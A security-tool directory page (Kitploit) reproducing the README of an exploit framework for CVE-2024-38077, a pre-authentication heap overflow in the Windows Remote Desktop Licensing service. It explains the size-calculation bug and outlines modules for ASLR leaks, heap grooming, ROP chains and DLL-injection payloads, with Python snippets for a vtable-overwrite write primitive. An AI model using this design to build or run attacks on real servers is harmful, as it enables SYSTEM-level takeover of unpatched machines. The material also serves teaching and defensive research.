Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-38077-MadLicense-exploit β€” Modular exploit framework for CVE-2024-38077 (Windows RDL heap overflow) with ASLR bypass, heap grooming, ROP chain generation, and DLL injection payloads for pre-auth remote code execution. | Kitploit
Tools/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
Exploit FrameworksVulnerability AnalysisExploitationReverse EngineeringShellcodePenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

Modular exploit framework for CVE-2024-38077 (Windows RDL heap overflow) with ASLR bypass, heap grooming, ROP chain generation, and DLL injection payloads for pre-auth remote code execution.

View Repository
13710 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2024-38077 MadLicense - Complete Exploitation Framework

πŸ“š Technical Documentation for Presentation

This document explains each component of the framework, why it exists, and how the heap buffer overflow exploitation works in modern Windows.


🎯 What Is CVE-2024-38077?

The Vulnerability

Windows Remote Desktop Licensing Service (lserver.exe) contains a heap buffer overflow in the CDataCoding::DecodeData function.

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  VULNERABILITY: Incorrect size calculation                  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  1. Client sends Base64 data of size N                      β”‚
β”‚  2. Server calculates: buffer_size = (N / 4) * 3            β”‚
β”‚  3. Server allocates buffer of 'buffer_size' bytes          β”‚
β”‚  4. Actual Base64 decode writes: ceil(N * 3/4) bytes        β”‚
β”‚  5. If N is not a multiple of 4: OVERFLOW!                  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Concrete example:

  • Input: 4001 bytes
  • Server calculation: (4001 / 4) * 3 = 1000 * 3 = 3000 bytes allocated
  • Actual decode: ceil(4001 * 0.75) = 3001 bytes written
  • Overflow: 1 byte (but controllable for more)

Why Is It Critical?

  1. Pre-Auth: No credentials needed
  2. Remote: Over network, port 135 (RPC)
  3. SYSTEM: Service runs as NT AUTHORITY\SYSTEM
  4. Widespread: Windows Server 2000-2025 affected

πŸ—οΈ Framework Architecture

Module Overview

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚                      EXPLOIT CHAIN                              β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  LEAK    β”‚  MODEL   β”‚  WRITE   β”‚  GROOM   β”‚ TRIGGER  β”‚ EXECUTE β”‚
β”‚ (ASLR)   β”‚ (Target) β”‚ (Where)  β”‚ (Heap)   β”‚ (Use)    β”‚ (RCE)   β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ leak.py  β”‚target_   β”‚write_    β”‚heap_     β”‚trigger   β”‚code_    β”‚
β”‚          β”‚model.py  β”‚primitive β”‚controllerβ”‚.py       β”‚reuse.py β”‚
β”‚          β”‚          β”‚.py       β”‚.py       β”‚          β”‚         β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
          ↓                                              ↓
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”                              β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚ execution β”‚                              β”‚   payload    β”‚
    β”‚   .py     β”‚                              β”‚     .py      β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜                              β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
          ↓                                              ↓
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚                    mitigations.py                         β”‚
    β”‚              (DEP, ASLR, CFG awareness)                   β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                              ↓
    β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
    β”‚                      exploit.py                           β”‚
    β”‚                   (Orchestrator)                          β”‚
    β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

πŸ“¦ Module 1: primitives.py - Foundation

What Is It?

Low-level utilities for memory manipulation.

Why Does It Exist?

Exploits need to:

  • Convert between types (int ↔ bytes)
  • Generate patterns for crash analysis
  • Align data correctly

Main Functions

# Pack/Unpack - Convert integers to bytes and vice versa
p64(0xDEADBEEF)      # β†’ b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # β†’ b'AAAA'
u64(b'\x41\x42...')  # β†’ 0x... (int)

# Cyclic Pattern - To identify crash offset
cyclic(100)          # Generates De Bruijn sequence
cyclic_find(pattern, value)  # Finds offset of value

# Alignment - Memory must be aligned
align(0x1003, 0x10)  # β†’ 0x1010 (aligns to 16 bytes)

Why Does This Matter?

Real problem: You cause a crash and RIP contains 0x61616171.

  • Without cyclic: "Somewhere in my buffer..."
  • With cyclic: cyclic_find(pattern, 0x61616171) β†’ exact offset!

πŸ“¦ Module 2: leak.py - ASLR Bypass

What Is ASLR?

Address Space Layout Randomization: Every boot/execution, addresses change.

Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

Why Do We Need a Leak?

Without knowing where memory is:

  • We don't know where to place payload
  • We don't know the address of ROP gadgets
  • Any attempt = random crash

Module Structure

class LeakInfo:
    """Container for leaked addresses"""
    heap_base: int         # Heap base
    ntdll_base: int        # ntdll.dll base
    kernel32_base: int     # kernel32.dll base
    # ...

class LeakProvider:
    """Orchestrator for leak sources"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Try each source until successful

Implemented Leak Sources

SourceHow It WorksWhen to Use
ManualLeakSourceUser provides addressesLab/Debug with target access
ResponseLeakSourceExtracts from RPC responsesIf service leaks pointers
TimingLeakSourceTiming side-channelTheoretical, very difficult

Why Manual Input?

In demos/labs, you can:

  1. Attach debugger to target
  2. See module base addresses
  3. Provide via --ntdll-base 0x7ffa...

This simulates having a real leak, allowing you to test the rest of the chain.


πŸ“¦ Module 3: target_model.py - Target Mapping

What Is It?

Modeling of vulnerable and adjacent data structures.

Why Does It Exist?

Overflow β‰  Exploitation. We need to know:

  • What are we overwriting?
  • What is the object size?
  • Which field is useful to corrupt?

Components

class VulnerableBuffer:
    """The buffer that will overflow"""
    allocation_size: int   # How much was allocated
    write_size: int        # How much will be written
    overflow_amount: int   # Difference = overflow
    
    def calculate_overflow(input_size):
        # Simulates the calculation bug
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Object that will be corrupted (adjacent on heap)"""
    fields: List[StructField]
    has_vtable: bool       # Has virtual table?
    has_function_ptr: bool # Has function pointer?

Example Target Structure

# Hypothetical object based on reverse engineering
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Mapped fields
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

Why is_target=True?

Marks fields useful for exploitation:

  • vtable: If we overwrite it, we control method calls
  • callback: If we overwrite it, we control when callback is called

πŸ“¦ Module 4: write_primitive.py - Controlled Write

The Problem

Overflow writes sequential data. But we need:

  • Write a specific value (address of our ROP)
  • At a specific offset (where the vtable pointer is)

The Solution

class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Builds overflow buffer with precise values
        
        Layout:
        [PADDING until offset] [CONTROLLED VALUE] [MORE DATA]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Place exact value at exact offset
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

Overwrite Types

# Overwrite vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)
Download Tool